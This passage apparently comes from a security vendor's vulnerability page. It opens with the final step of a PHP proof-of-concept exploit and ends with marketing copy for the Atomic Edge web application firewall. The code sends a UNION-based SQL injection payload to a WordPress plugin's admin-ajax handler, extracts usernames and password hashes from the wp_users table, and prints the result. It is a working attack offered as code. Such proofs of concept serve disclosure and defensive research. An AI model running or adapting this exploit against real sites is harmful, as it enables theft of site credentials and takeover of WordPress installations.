
// Step 3: Send SQL injection payload via the vulnerable AJAX handler
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$payload = "1' UNION SELECT user_login,user_pass FROM wp_users WHERE id=1-- -";

$post_data = [
    'action' => 'wp_ajax_auto_detect_cf',  // Note: WordPress appends 'wp_ajax_' prefix automatically
    'security' => $nonce,
    'post_type' => 'post',
    'fields' => [$payload],
    'fields_to_skip' => '', // Must be empty string to reach vulnerable code path
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
curl_close($ch);

// Display response
$decoded = json_decode($response, true);
echo "[+] Server response:n";
print_r($decoded);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.